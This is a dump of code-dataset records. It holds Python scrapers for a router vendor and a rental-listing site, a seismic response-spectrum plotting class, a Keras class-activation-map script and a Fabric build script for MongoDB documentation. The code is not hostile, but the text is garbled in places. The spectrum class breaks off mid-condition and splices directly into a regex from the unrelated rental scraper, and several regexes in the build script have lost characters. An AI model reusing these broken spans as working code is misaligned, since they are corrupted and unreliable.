"matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 56, "usage_type": "call"}, {"api_name": "time.time", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 61, "usage_type": "call"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 75, "usage_type": "attribute"}]} {"seq_id": "629109055", "text": "#!/usr/bin/python3\n\nimport collections\nimport json\n\nimport locale\n\nfrom lxml import html\nfrom lxml.cssselect import CSSSelector\n\nimport requests\nimport re\n\nlocale.setlocale(locale.LC_ALL, 'en_US.UTF-8')\n\n\nclass FrozenDict(collections.Mapping):\n \"\"\"An immutable dict, see http://stackoverflow.com/a/2704866\"\"\"\n\n def __init__(self, *args, **kwargs):\n self._d = dict(*args, **kwargs)\n self._hash = None\n\n def __iter__(self):\n return iter(self._d)\n\n def __len__(self):\n return len(self._d)\n\n def __getitem__(self, key):\n return self._d[key]\n\n def __hash__(self):\n # It would have been simpler and maybe more obvious to\n # use hash(tuple(sorted(self._d.iteritems()))) from this discussion\n # so far, but this solution is O(n). I don't know what kind of\n # n we are going to run into, but sometimes it's hard to resist the\n # urge to optimize when it will gain improved algorithmic performance.\n if self._hash is None:\n self._hash = 0\n for pair in self .iteritems():\n self._hash ^= hash(pair)\n return self._hash\n\n\ndef parse_product(element):\n select_name = CSSSelector('[itemprop=name]')\n select_url = CSSSelector('[itemprop=url]')\n select_price = CSSSelector('[itemprop=price]')\n select_desc = CSSSelector('.product_descr p')\n\n name = select_name(element)\n url = select_url(element)\n price = select_price(element)\n desc = select_desc(element)\n\n assert len(name) == 1\n assert len(desc) == 1\n assert len(price) == 1\n assert len(url) == 1\n\n if (len(name) != 1 or len(desc) != 1 or len(price) != 1 or len(url) != 1):\n return None\n\n return (name[0].text.strip(), {\n 'url': url[0].get('href'),\n 'desc': re.sub(re.compile(r\"\\r\\s*\"), \"\\n\", desc[0].text.strip()),\n 'price': locale.atof(price[0].get('content')),\n })\n\n\ndef get_products():\n page = requests.get(\"https://routerboard.com\")\n root = html.fromstring(page.content)\n\n select_products = CSSSelector(\".product_entry:not(.hideBox):not(.hist)\")\n\n products = select_products(root)\n\n return {name: details for name, details in (\n parse_product(x) for x in products)}\n\n\ndef format_product(name, product):\n return \"%s: %s\\n %s\\n %s\" % (\n name,\n locale.currency(product['price']),\n product['desc'].replace(\"\\n\", \"\\n \"),\n product['url']\n )\n\nif __name__ == '__main__':\n settings = json.loads(open(\"settings.json\").read())\n\n db_old = None\n try:\n db_file = open(settings['db_file'], 'r')\n db_old = json.load(db_file)\n except (json.JSONDecodeError, FileNotFoundError):\n pass\n\n db_new = get_products()\n db_file = open(settings['db_file'], 'w')\n\n if db_old is not None:\n for name in (db_new.keys() - db_old.keys()):\n print(\"+ %s\\n\" % format_product(name, db_new[name]))\n for name in (db_old.keys() - db_new.keys()):\n print(\"- %s\\n\" % format_product(name, db_old[name]))\n\n json.dump(db_new, db_file, sort_keys=True, indent=4)\n\n db_file.close()\n", "sub_path": "parser.py3", "file_name": "parser.py3", "file_ext": "py3", "file_size_in_byte": 3126, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "locale.setlocale", "line_number": 14, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 14, "usage_type": "attribute"}, {"api_name": "collections.Mapping", "line_number": 17, "usage_type": "attribute"}, {"api_name": "lxml.cssselect.CSSSelector", "line_number": 47, "usage_type": "call"}, {"api_name": "lxml.cssselect.CSSSelector", "line_number": 48, "usage_type": "call"}, {"api_name": "lxml.cssselect.CSSSelector", "line_number": 49, "usage_type": "call"}, {"api_name": "lxml.cssselect.CSSSelector", "line_number": 50, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 67, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 67, "usage_type": "call"}, {"api_name": "locale.atof", "line_number": 68, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 73, "usage_type": "call"}, {"api_name": "lxml.html.fromstring", "line_number": 74, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 74, "usage_type": "name"}, {"api_name": "lxml.cssselect.CSSSelector", "line_number": 76, "usage_type": "call"}, {"api_name": "locale.currency", "line_number": 87, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 93, "usage_type": "call"}, {"api_name": "json.load", "line_number": 98, "usage_type": "call"}, {"api_name": "json.JSONDecodeError", "line_number": 99, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 111, "usage_type": "call"}]} {"seq_id": "295458619", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 10 14:02:33 2017\n\n@author: Dell\n\"\"\"\nimport numpy as np\nfrom matplotlib.font_manager import FontProperties\nfrom matplotlib import pyplot as plt\n\nclass code_spectrum(object):\n def __init__(self,alpha_max,Tg,xi):\n gamma=0.9+(0.05-xi)/(0.3+6*xi)\n eta1=0.02+(0.05-xi)/(4+32*xi)\n eta1=eta1 if eta1>0 else 0\n eta2=1+(0.05-xi)/(0.08+1.6*xi)\n eta2=eta2 if eta2>0.55 else 0.55\n T=np.linspace(0,6,601)\n alpha=[]\n for t in T:\n if t<0.1:\n alpha.append(np.interp(t,[0,0.1],[0.45*alpha_max,eta2*alpha_max]))\n elif t共([\\s\\S]*?)页')\n allPage = re.findall(pattern, html)\n print(\"allPage: \" + allPage[0])\n for page in range(1, int(allPage[0])+1):\n url = re.sub(r'pg\\d', 'pg'+ str(page), self.start_url)\n self.parseUrl(page, url, useLocal)\n \n #字典中的key值即为csv中列名\n dataframe=pd.DataFrame({\n '标题':self.title_list, '详细':self.detail_list, \n '地址':self.address_list, '房型':self.shape_list,\n '价格':self.money_list, '链接':self.href_list})\n # 将DataFrame存储为csv,index表示是否显示行名，default=True\n dataframe.to_csv(self.folder+\"./蘑菇网.csv\",index=False,sep=',', encoding='utf_8_sig') \n\n\n def parseUrl(self, page, url, useLocal):\n print('parse url: ' + url) \n folder = self.folder +'Detail/'\n isExists = os.path.exists(folder)\n if not isExists: # 目录不存在，则创建\n os.makedirs(folder) \n if useLocal == True:\n # use local html file\n with open(folder + str(page)+'.html', 'r', encoding='utf-8') as f:\n html = ''\n for line in f.readlines():\n html += line\n html = etree.HTML(html)\n else:\n # save to local\n with open(folder + str(page)+'.html', 'w', encoding='utf-8') as f:\n f.write(self.getHTMLText(url))\n html = self.getHTMLText(url)\n html = etree.HTML(html)\n\n # use xpath \n ele = html.xpath('//*[@id=\"__layout\"]/div/div/div[1]/div[5]/div[1]/div[2]/div')\n for e in ele:\n la = e.xpath('.//a')\n print(len(la))\n for i in la:\n title = i.xpath('.//div/div[2]/h1/span//text()')\n shape = i.xpath('.//div/div[2]/h2[1]//text()')\n detail = i.xpath('.//div/div[2]/h2[2]//text()')\n address = i.xpath('.//div/div[2]/p//text()')\n money = i.xpath('.//div/div[3]/p[1]/span//text()')\n self.title_list.append(title[0])\n self.shape_list.append(shape[0])\n if len(detail) > 0:\n self.detail_list.append(detail[0])\n else:\n self.detail_list.append('')\n a = i.xpath('.//@href')\n self.href_list.append(a[0])\n self.address_list.append(address[0])\n self.money_list.append(money[0])\n if useLocal == False:\n time.sleep(0.5) # 延时\n\ndef test():\n # TODO\n # use Selenium (don't need add Cookie)\n work = Get_infor()\n work.run(useLocal=True)\n print('OK')\n\nif __name__=='__main__':\n start = time.time()\n test()\n end = time.time()\n print(\"耗时： {}\".format(end-start))\n\n", "sub_path": "MoGuZuFang/2.mgzfAndSelenium.py", "file_name": "2.mgzfAndSelenium.py", "file_ext": "py", "file_size_in_byte": 4333, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 34, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 48, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 49, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 69, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 76, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 76, "usage_type": "name"}, {"api_name": "lxml.etree.HTML", "line_number": 82, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 82, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 106, "usage_type": "call"}, {"api_name": "time.time", "line_number": 116, "usage_type": "call"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}]} {"seq_id": "271385095", "text": "import cv2\nimport numpy as np\nimport os\nimport pandas as pd\nfrom configparser import ConfigParser\nfrom generator import AugmentedImageSequence\nfrom models.keras import ModelFactory\nfrom tensorflow.keras import backend as kb\n\n\ndef get_output_layer(model, layer_name):\n # get the symbolic outputs of each \"key\" layer (we gave them unique names).\n layer_dict = dict([(layer.name, layer) for layer in model.layers])\n layer = layer_dict[layer_name]\n return layer\n\n\ndef create_cam(df_g, output_dir, image_source_dir, model, generator, class_names, targets=None):\n \"\"\"\n Create a CAM overlay image for the input image\n\n :param targets: producs CAMs only for these labels. if left empty, CAMs are generated for all labels\n :param df_g: pandas.DataFrame with file paths\n :param output_dir: str\n :param image_source_dir: str\n :param model: keras model\n :param generator: generator.AugmentedImageSequence\n :param class_names: list of str\n \"\"\"\n file_name = df_g[\"Path\"]\n print(f\"**process image: {file_name}**\")\n\n # draw cam with labels\n img_ori = cv2.imread(filename=os.path.join(image_source_dir, file_name))\n \"\"\"\n label = df_g[\"label\"]\n if label == \"Infiltrate\":\n label = \"Infiltration\"\n \"\"\"\n # label = \"Lung Opacity\"\n if targets is None:\n targets = class_names\n\n img_transformed = generator.load_image(file_name)\n\n # CAM overlay\n # Get the 1024 input weights to the softmax.\n class_weights = model.layers[-1].get_weights()[0]\n # print(class_weights.shape)\n # print(index)\n # print(class_weights[..., index].shape)\n final_conv_layer = get_output_layer(model, \"bn\")\n get_output = kb.function([model.layers[0].input], [final_conv_layer.output, model.layers[-1].output])\n [conv_outputs, predictions] = get_output([np.array([img_transformed])])\n conv_outputs = conv_outputs[0, :, :, :]\n\n for label in targets:\n # print(f\"process label: {label}\")\n index = class_names.index(label)\n output_file = f\"{file_name.split('/')[-1].split('.')[-2]}_{label}.{file_name.split('.')[-1]}\"\n output_path = os.path.join(output_dir, output_file)\n\n # Create the class activation map.\n cam = np.zeros(dtype=np.float32, shape=(conv_outputs.shape[:2]))\n for i, w in enumerate(class_weights[..., index]):\n cam += w * conv_outputs[:, :, i]\n # print(f\"predictions: {predictions}\")\n cam /= np.max(cam)\n # cam[np.where(cam < 0.2)] = 0\n cam = cv2.resize(cam, img_ori.shape[:2][::-1]) # flip image dimensions, see https://stackoverflow.com/questions/21248245/opencv-image-resize-flips-dimensions\n\n heatmap = cv2.applyColorMap(np.uint8(255 * cam), cv2.COLORMAP_JET)\n heatmap[np.where(cam < 0.2)] = 0\n img = heatmap * 0.5 + img_ori\n\n # add label & predicted probability\n\n cv2.putText(img, text=label + f\": {str(predictions[...,index])}\", org=(5, 20), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=0.8, color=(0, 0, 255), thickness=1)\n cv2.imwrite(output_path, img)\n\n\ndef main():\n # parser config\n config_file = \"./config.ini\"\n cp = ConfigParser()\n cp.read(config_file)\n\n # default config\n output_dir = cp[\"DEFAULT\"].get(\"output_dir\")\n base_model_name = cp[\"DEFAULT\"].get(\"base_model_name\")\n class_names = cp[\"DEFAULT\"].get(\"class_names\").split(\",\")\n image_source_dir = cp[\"DEFAULT\"].get(\"image_source_dir\")\n image_dimension = cp[\"TRAIN\"].getint(\"image_dimension\")\n\n # parse weights file path\n output_weights_name = cp[\"TRAIN\"].get(\"output_weights_name\")\n weights_path = os.path.join(output_dir, output_weights_name)\n best_weights_path = os.path.join(output_dir, f\"best_{output_weights_name}\")\n\n # CAM config\n # cam_list_file = cp[\"CAM\"].get(\"cam_list_file\")\n cam_folder = cp[\"CAM\"].get(\"cam_folder\")\n use_best_weights = cp[\"CAM\"].getboolean(\"use_best_weights\")\n\n print(\"** load model **\")\n if use_best_weights:\n print(\"** use best weights **\")\n model_weights_path = best_weights_path\n else:\n print(\"** use last weights **\")\n model_weights_path = weights_path\n\n model_factory = ModelFactory()\n model = model_factory.get_model(\n class_names,\n model_name=base_model_name,\n use_base_weights=False,\n weights_path=model_weights_path)\n\n # print(model.summary())\n\n print(\"read contents of cam folder\")\n cam_files = [f for f in os.listdir(cam_folder) if os.path.isfile(os.path.join(cam_folder, f))]\n df_images = pd.DataFrame(cam_files)\n df_images.columns = [\"Path\"]\n\n print(\"create a generator for loading transformed images\")\n cam_sequence = AugmentedImageSequence(\n dataset_csv_file=os.path.join(output_dir, \"valid.csv\"), # variable must be passed, but is not used for CAMs\n class_names=class_names,\n source_image_dir=cam_folder,\n batch_size=1,\n target_size=(image_dimension, image_dimension),\n augmenter=None,\n steps=1,\n shuffle_on_epoch_end=False,\n )\n\n image_output_dir = os.path.join(output_dir, \"cam_output\")\n if not os.path.isdir(image_output_dir):\n os.makedirs(image_output_dir)\n\n print(\"create CAM\")\n df_images.apply(\n lambda g: create_cam(\n df_g=g,\n output_dir=image_output_dir,\n image_source_dir=cam_folder,\n model=model,\n generator=cam_sequence,\n class_names=class_names,\n # targets=[\"Lung Lesion\"]\n ),\n axis=1,\n )\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "cam.py", "file_name": "cam.py", "file_ext": "py", "file_size_in_byte": 5611, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "generator.load_image", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend.function", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 53, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.applyColorMap", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.COLORMAP_JET", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 78, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 80, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "models.keras.ModelFactory", "line_number": 114, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path", "line_number": 124, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 124, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 125, "usage_type": "call"}, {"api_name": "generator.AugmentedImageSequence", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 142, "usage_type": "call"}]} {"seq_id": "155166909", "text": "import collections\nimport json\nimport os\nimport re\nimport shutil\nimport subprocess\n\nfrom fabric.api import task, env, abort, puts, local\n\nfrom docs_meta import output_yaml, get_manual_path, get_conf\nfrom make import check_dependency, check_three_way_dependency, runner\nfrom utils import md5_file, symlink, expand_tree, dot_concat, ingest_yaml_list\n\nenv.input_file = None\nenv.output_file = None\n\n@task\ndef input(fn):\n env.input_file = fn\n\n@task\ndef output(fn):\n env.output_file = fn\n\n########## Process Sphinx Json Output ##########\n\ndef json_output(conf=None):\n if env.input_file is None or env.output_file is None:\n all_json_output(conf)\n else:\n process_json_file(env.input_file, env.output_file)\n\ndef all_json_output(conf=None):\n if conf is None:\n conf = get_conf()\n\n count = runner(json_output_jobs(conf))\n\n puts('[json]: processed {0} json files.'.format(str(count)))\n\n list_file = os.path.join(conf.build.paths.branch_staging, 'json-file-list')\n public_list_file = os.path.join(conf.build.paths.public_site_output,\n 'json', '.file_list')\n\n cmd = 'rsync --recursive --times --delete --exclude=\"*pickle\" --exclude=\".buildinfo\" --exclude=\"*fjson\" {src} {dst}'\n json_dst = os.path.join(conf.build.paths.public_site_output, 'json')\n\n if not os.path.exists(json_dst):\n os.makedirs(json_dst)\n\n local(cmd.format(src=os.path.join(conf.build.paths.branch_output, 'json') + '/',\n dst=json_dst))\n\n copy_if_needed(list_file, public_list_file)\n puts('[json]: deployed json files to local staging.')\n\ndef json_output_jobs(conf=None):\n if conf is None:\n conf = get_conf()\n\n regexes = [\n (re.compile(r']*>'), ''),\n (re.compile(r'“'), '\"'),\n (re.compile(r'”'), '\"'),\n (re.compile(r'‘'), \"'\"),\n (re.compile(r'’'), \"'\"),\n (re.compile(r'&#\\d{4};'), ''),\n (re.compile(r' '), ''),\n (re.compile(r'>'), '>'),\n (re.compile(r'<'), '<')\n ]\n\n outputs = []\n for fn in expand_tree('source', 'txt'):\n # path = build//json/\n if conf.project.name == 'mms':\n path = os.path.join(conf.build.paths.branch_staging,\n 'json', os.path.splitext(fn.split(os.path.sep, 1)[1])[0])\n else:\n path = os.path.join(conf.build.paths.branch_output,\n 'json', os.path.splitext(fn.split(os.path.sep, 1)[1])[0])\n fjson = dot_concat(path, 'fjson')\n json = dot_concat(path, 'json')\n\n yield dict(target=json,\n dependency=fjson,\n job=process_json_file,\n args=(fjson, json, regexes, conf))\n outputs.append(json)\n\n list_file = os.path.join(conf.build.paths.branch_staging, 'json-file-list')\n\n yield dict(target=list_file,\n dependency=None,\n job=generate_list_file,\n args=(outputs, list_file, conf))\n\ndef process_json_file(input_fn, output_fn, regexes, conf=None):\n with open(input_fn, 'r') as f:\n document = f.read()\n\n doc = json.loads(document)\n\n if 'body' in doc:\n text = doc['body'].encode('ascii', 'ignore')\n text = munge_content(text, regexes)\n\n doc['text'] = ' '.join(text.split('\\n')).strip()\n\n if 'title' in doc:\n title = doc['title'].encode('ascii', 'ignore')\n title = munge_content(title, regexes)\n\n doc['title'] = title\n\n if conf.project.name == 'mms':\n if conf.project.edition == 'hosted':\n url = ['http://mms.mongodb.com/help-hosted', get_manaul_path() ]\n else:\n url = ['http://mms.mongodb.com/help' ]\n else:\n url = [ 'http://docs.mongodb.org', get_manual_path() ]\n\n url.extend(input_fn.rsplit('.', 1)[0].split(os.path.sep)[3:])\n doc['url'] = '/'.join(url) + '/'\n\n with open(output_fn, 'w') as f:\n f.write(json.dumps(doc))\n\n puts('[json]: generated a processed json file: ' + output_fn)\n\ndef generate_list_file(outputs, path, conf=None):\n dirname = os.path.dirname(path)\n\n if conf is None:\n conf = get_conf()\n\n if conf.project.name == 'ecosystem':\n url = 'http://docs.mongodb.org/ecosystem'\n elif conf.project.name == 'mms':\n if conf.project.edition == 'hosted':\n url = '/'.join(['http://mms.mongodb.com/help-hosted', get_manual_path()])\n else:\n url = 'http://mms.mongodb.com/help'\n else:\n url = '/'.join(['http://docs.mongodb.org', get_manual_path()])\n\n if not os.path.exists(dirname):\n os.mkdir(dirname)\n\n with open(path, 'w') as f:\n for fn in outputs:\n f.write( '/'.join([ url, 'json', fn.split('/', 3)[3:][0]]) )\n f.write('\\n')\n\n puts('[json]: rebuilt inventory of json output.')\n\n########## Update Dependencies ##########\n\ndef update_dependency(fn):\n if os.path.exists(fn):\n os.utime(fn, None)\n puts('[dependency]: updated timestamp of {0} because its included files changed'.format(fn))\n\ndef fix_include_path(inc, fn, source):\n if inc.startswith('/'):\n return ''.join([source + inc])\n else:\n return os.path.join(os.path.dirname(os.path.abspath(fn)), fn)\n\ndef check_deps(file, pattern):\n includes = []\n try:\n with open(file, 'r') as f:\n for line in f:\n r = pattern.findall(line)\n if r:\n includes.append(fix_include_path(r[0], file, 'source'))\n if len(includes) >= 1:\n if check_dependency(file, includes):\n update_dependency(file)\n except IOError:\n pass\n\ndef refresh_dependencies():\n count = runner(composite_jobs())\n puts('[dependency]: updated timestamps of {0} files'.format(count))\n\ndef composite_jobs():\n files = expand_tree('source', 'txt')\n inc_pattern = re.compile(r'\\.\\. include:: (.*\\.(?:txt|rst))')\n\n for fn in files:\n yield {\n 'target': fn,\n 'dependency': None,\n 'job': check_deps,\n 'args': [ fn, inc_pattern ]\n }\n\n########## Simple Tasks ##########\n\n@task\ndef meta():\n output_yaml(env.output_file)\n\n@task\ndef touch(fn, times=None):\n if os.path.exists(fn):\n os.utime(fn, times)\n\n########## Main Output Processing Targets ##########\n\nclass InvalidPath(Exception): pass\n\ndef copy_always(source_file, target_file, name='build'):\n if os.path.isfile(source_file) is False:\n puts(\"[{0}]: Input file '{1}' does not exist.\".format(name, source_file))\n raise InvalidPath\n else:\n if not os.path.exists(os.path.dirname(target_file)):\n os.makedirs(os.path.dirname(target_file))\n shutil.copyfile(source_file, target_file)\n\n puts('[{0}]: copied {1} to {2}'.format(name, source_file, target_file))\n\ndef copy_if_needed(source_file, target_file, name='build'):\n if os.path.isfile(source_file) is False or os.path.isdir(source_file):\n puts(\"[{0}]: Input file '{1}' does not exist.\".format(name, source_file))\n raise InvalidPath\n elif os.path.isfile(target_file) is False:\n if not os.path.exists(os.path.dirname(target_file)):\n os.makedirs(os.path.dirname(target_file))\n shutil.copyfile(source_file, target_file)\n\n if name is not None:\n puts('[{0}]: created \"{1}\" which did not exist.'.format(name, source_file))\n else:\n if md5_file(source_file) == md5_file(target_file):\n if name is not None:\n puts('[{0}]: \"{1}\" not changed.'.format(name, source_file))\n else:\n shutil.copyfile(source_file, target_file)\n\n if name is not None:\n puts('[{0}]: \"{1}\" changed. Updated: {2}'.format(name, source_file, target_file))\n\n@task\ndef create_link():\n _create_link(env.input_file, env.output_file)\n\ndef _create_link(input_fn, output_fn):\n out_dirname = os.path.dirname(output_fn)\n if out_dirname != '' and not os.path.exists(out_dirname):\n os.makedirs(out_dirname)\n\n if os.path.islink(output_fn):\n os.remove(output_fn)\n elif os.path.isdir(output_fn):\n abort('[{0}]: {1} exists and is a directory'.format('link', output_fn))\n elif os.path.exists(output_fn):\n abort('[{0}]: could not create a symlink at {1}.'.format('link', output_fn))\n\n out_base = os.path.basename(output_fn)\n if out_base == \"\":\n abort('[{0}]: could not create a symlink at {1}.'.format('link', output_fn))\n else:\n symlink(out_base, input_fn)\n os.rename(out_base, output_fn)\n puts('[{0}] created symbolic link pointing to \"{1}\" named \"{2}\"'.format('symlink', input_fn, out_base))\n\ndef manual_single_html(input_file, output_file):\n # don't rebuild this if its not needed.\n if check_dependency(output_file, input_file) is True:\n pass\n else:\n puts('[process] [single]: singlehtml not changed, not reprocessing.')\n return False\n\n with open(input_file, 'r') as f:\n text = f.read()\n\n text = re.sub('href=\"contents.html', 'href=\"index.html', text)\n text = re.sub('name=\"robots\" content=\"index\"', 'name=\"robots\" content=\"noindex\"', text)\n text = re.sub('(href=\")genindex.html', '\\1../genindex/', text)\n\n with open(output_file, 'w') as f:\n f.write(text)\n\n puts('[process] [single]: processed singlehtml file.')\n\n#################### PDFs from Latex Produced by Sphinx ####################\n\ndef _clean_sphinx_latex(fn, regexes):\n with open(fn, 'r') as f:\n tex = f.read()\n\n for regex, subst in regexes:\n tex = regex.sub(subst, tex)\n\n with open(fn, 'w') as f:\n f.write(tex)\n\n puts('[pdf]: processed Sphinx latex format for {0}'.format(fn))\n\ndef _render_tex_into_pdf(fn, path):\n pdflatex = 'TEXINPUTS=\".:{0}:\" pdflatex --interaction batchmode --output-directory {0} {1}'.format(path, fn)\n\n try:\n with open(os.devnull, 'w') as f:\n subprocess.check_call(pdflatex, shell=True, stdout=f, stderr=f)\n except subprocess.CalledProcessError:\n print('[ERROR]: {0} file has errors, regenerate and try again'.format(fn))\n return False\n\n puts('[pdf]: completed pdf rendering stage 1 of 4 for: {0}'.format(fn))\n\n try:\n with open(os.devnull, 'w') as f:\n subprocess.check_call(\"makeindex -s {0}/python.ist {0}/{1}.idx \".format(path, os.path.basename(fn)[:-4]), shell=True, stdout=f, stderr=f)\n except subprocess.CalledProcessError:\n print('[ERROR]: {0} file has errors, regenerate and try again'.format(fn))\n puts('[pdf]: completed pdf rendering stage 2 of 4 (indexing) for: {0}'.format(fn))\n\n try:\n with open(os.devnull, 'w') as f:\n subprocess.check_call(pdflatex, shell=True, stdout=f, stderr=f)\n except subprocess.CalledProcessError:\n print('[ERROR]: {0} file has errors, regenerate and try again'.format(fn))\n return False\n puts('[pdf]: completed pdf rendering stage 3 of 4 for: {0}'.format(fn))\n\n try:\n with open(os.devnull, 'w') as f:\n subprocess.check_call(pdflatex, shell=True, stdout=f, stderr=f)\n except subprocess.CalledProcessError:\n print('[ERROR]: {0} file has errors, regenerate and try again'.format(fn))\n return False\n puts('[pdf]: completed pdf rendering stage 4 of 4 for: {0}'.format(fn))\n\n puts('[pdf]: rendered {0}.{1}'.format(os.path.basename(fn), 'pdf'))\n\n@task\ndef pdfs():\n it = 0\n for queue in pdf_jobs():\n it += 1\n count = runner(queue)\n puts(\"[pdf]: completed {0} pdf jobs, in stage {1}\".format(count, it))\n\ndef pdf_jobs():\n conf = get_conf()\n\n pdfs = ingest_yaml_list(os.path.join(conf.build.paths.builddata, 'pdfs.yaml'))\n tex_regexes = [ ( re.compile(r'(index|bfcode)\\{(.*)--(.*)\\}'),\n r'\\1\\{\\2-\\{-\\}\\3\\}'),\n ( re.compile(r'\\\\PYGZsq{}'), \"'\"),\n ( re.compile(r'\\\\code\\{/(?!.*{}/|etc|usr|data|var|srv)'),\n r'\\code{' + conf.project.url + r'/' + conf.project.tag) ]\n\n # this is temporary\n queue = ( [], [], [], [], [] )\n\n for i in pdfs:\n tagged_name = i['output'][:-4] + '-' + i['tag']\n deploy_fn = tagged_name + '-' + conf.git.branches.current + '.pdf'\n link_name = deploy_fn.replace('-' + conf.git.branches.current, '')\n\n if 'edition' in i:\n deploy_path = os.path.join(conf.build.paths.public, i['edition'])\n if i['edition'] == 'hosted':\n deploy_path = os.path.join(deploy_path, conf.git.branches.current)\n latex_dir = os.path.join(conf.build.paths.output, i['edition'],\n conf.git.branches.current, 'latex')\n else:\n latex_dir = os.path.join(conf.build.paths.output, i['edition'], 'latex')\n deploy_fn = tagged_name + '.pdf'\n link_name = deploy_fn\n else:\n deploy_path = conf.build.paths['branch-staging']\n latex_dir = os.path.join(conf.build.paths['branch-output'], 'latex')\n\n i['source'] = os.path.join(latex_dir, i['output'])\n i['processed'] = os.path.join(latex_dir, tagged_name + '.tex')\n i['pdf'] = os.path.join(latex_dir, tagged_name + '.pdf')\n i['deployed'] = os.path.join(deploy_path, deploy_fn)\n i['link'] = os.path.join(deploy_path, link_name)\n i['path'] = latex_dir\n\n # these appends will become yields, once runner() can be dependency\n # aware.\n queue[0].append(dict(dependency=None,\n target=i['source'],\n job=_clean_sphinx_latex,\n args=(i['source'], tex_regexes)))\n\n queue[1].append(dict(dependency=i['source'],\n target=i['processed'],\n job=copy_if_needed,\n args=(i['source'], i['processed'], 'pdf')))\n\n queue[2].append(dict(dependency=i['processed'],\n target=i['pdf'],\n job=_render_tex_into_pdf,\n args=(i['processed'], i['path'])))\n\n queue[3].append(dict(dependency=i['pdf'],\n target=i['deployed'],\n job=copy_if_needed,\n args=(i['pdf'], i['deployed'], 'pdf')))\n\n if i['link'] != i['deployed']:\n queue[4].append(dict(dependency=i['deployed'],\n target=i['link'],\n job=_create_link,\n args=(deploy_fn, i['link'])))\n\n return queue\n\n#################### Error Page Processing ####################\n\n# this is called directly from the sphinx generation function in sphinx.py.\n\ndef munge_page(fn, regex, out_fn=None, tag='build'):\n with open(fn, 'r') as f:\n page = f.read()\n\n page = munge_content(page, regex)\n\n if out_fn is None:\n out_fn = fn\n\n with open(out_fn, 'w') as f:\n 